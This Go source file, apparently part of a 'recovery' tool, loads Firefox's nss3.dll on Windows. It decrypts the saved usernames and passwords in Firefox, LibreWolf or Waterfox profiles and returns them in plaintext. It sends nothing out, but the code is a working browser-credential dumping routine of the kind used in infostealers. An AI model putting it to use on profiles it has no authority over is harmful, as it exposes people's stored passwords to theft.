139 lines
3.1 KiB
Go
139 lines
3.1 KiB
Go
//go:build windows
|
|||
|
|
|
||
|
|
package firefox
|
||
|
|
|
||
|
|
import (
|
||
|
|
"encoding/base64"
|
||
|
|
"os"
|
||
|
|
"path/filepath"
|
||
|
|
"strings"
|
||
|
|
"syscall"
|
||
|
|
"unsafe"
|
||
|
|
|
||
|
|
"recovery/recovery/types"
|
||
|
|
)
|
||
|
|
|
||
|
|
type secItem struct {
|
||
|
|
ItemType uint32
|
||
|
|
Data *byte
|
||
|
|
Len uint32
|
||
|
|
}
|
||
|
|
|
||
|
|
var nssInstallDirs = map[string][]string{
|
||
|
|
"Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`},
|
||
|
|
"LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`},
|
||
|
|
"Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`},
|
||
|
|
}
|
||
|
|
|
||
|
|
func findNSSDir(browserName string) string {
|
||
|
|
dirs := nssInstallDirs[browserName]
|
||
|
|
if dirs == nil {
|
||
|
|
dirs = nssInstallDirs["Firefox"]
|
||
|
|
}
|
||
|
|
for _, dir := range dirs {
|
||
|
|
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
|
||
|
|
return dir
|
||
|
|
}
|
||
|
|
}
|
||
|
|
for _, dirs := range nssInstallDirs {
|
||
|
|
for _, dir := range dirs {
|
||
|
|
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
|
||
|
|
return dir
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return ""
|
||
|
|
}
|
||
|
|
|
||
|
|
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
|
||
|
|
nssDir := findNSSDir(browserName)
|
||
|
|
if nssDir == "" {
|
||
|
|
logf("firefox NSS: nss3.dll not found for %s", browserName)
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
oldPath := os.Getenv("PATH")
|
||
|
|
os.Setenv("PATH", nssDir+";"+oldPath)
|
||
|
|
defer os.Setenv("PATH", oldPath)
|
||
|
|
|
||
|
|
nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll"))
|
||
|
|
if err != nil {
|
||
|
|
logf("firefox NSS: failed to load nss3.dll: %v", err)
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
defer nss3dll.Release()
|
||
|
|
|
||
|
|
nssInit, err := nss3dll.FindProc("NSS_Init")
|
||
|
|
if err != nil {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt")
|
||
|
|
if err != nil {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown")
|
||
|
|
portFree, _ := nss3dll.FindProc("PORT_Free")
|
||
|
|
|
||
|
|
profileBytes, err := syscall.BytePtrFromString(profilePath)
|
||
|
|
if err != nil {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes)))
|
||
|
|
if ret != 0 {
|
||
|
|
logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr)
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
defer func() {
|
||
|
|
if nssShutdown != nil {
|
||
|
|
nssShutdown.Call()
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
|
||
|
|
var results []types.PasswordResult
|
||
|
|
for _, login := range logins {
|
||
|
|
username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername)
|
||
|
|
password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword)
|
||
|
|
results = append(results, types.PasswordResult{
|
||
|
|
URL: login.Hostname,
|
||
|
|
Username: username,
|
||
|
|
Password: password,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
return results
|
||
|
|
}
|
||
|
|
|
||
|
|
func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string {
|
||
|
|
b64 = strings.TrimSpace(b64)
|
||
|
|
if b64 == "" {
|
||
|
|
return ""
|
||
|
|
}
|
||
|
|
|
||
|
|
encBytes, err := base64.StdEncoding.DecodeString(b64)
|
||
|
|
if err != nil || len(encBytes) == 0 {
|
||
|
|
return ""
|
||
|
|
}
|
||
|
|
|
||
|
|
encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))}
|
||
|
|
var decItem secItem
|
||
|
|
|
||
|
|
ret, _, _ := pk11SDRDecrypt.Call(
|
||
|
|
uintptr(unsafe.Pointer(&encItem)),
|
||
|
|
uintptr(unsafe.Pointer(&decItem)),
|
||
|
|
0,
|
||
|
|
)
|
||
|
|
if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 {
|
||
|
|
return ""
|
||
|
|
}
|
||
|
|
|
||
|
|
decBytes := unsafe.Slice(decItem.Data, decItem.Len)
|
||
|
|
result := string(decBytes)
|
||
|
|
|
||
|
|
if portFree != nil {
|
||
|
|
portFree.Call(uintptr(unsafe.Pointer(decItem.Data)))
|
||
|
|
}
|
||
|
|
|
||
|
|
return result
|
||
|
|
}
|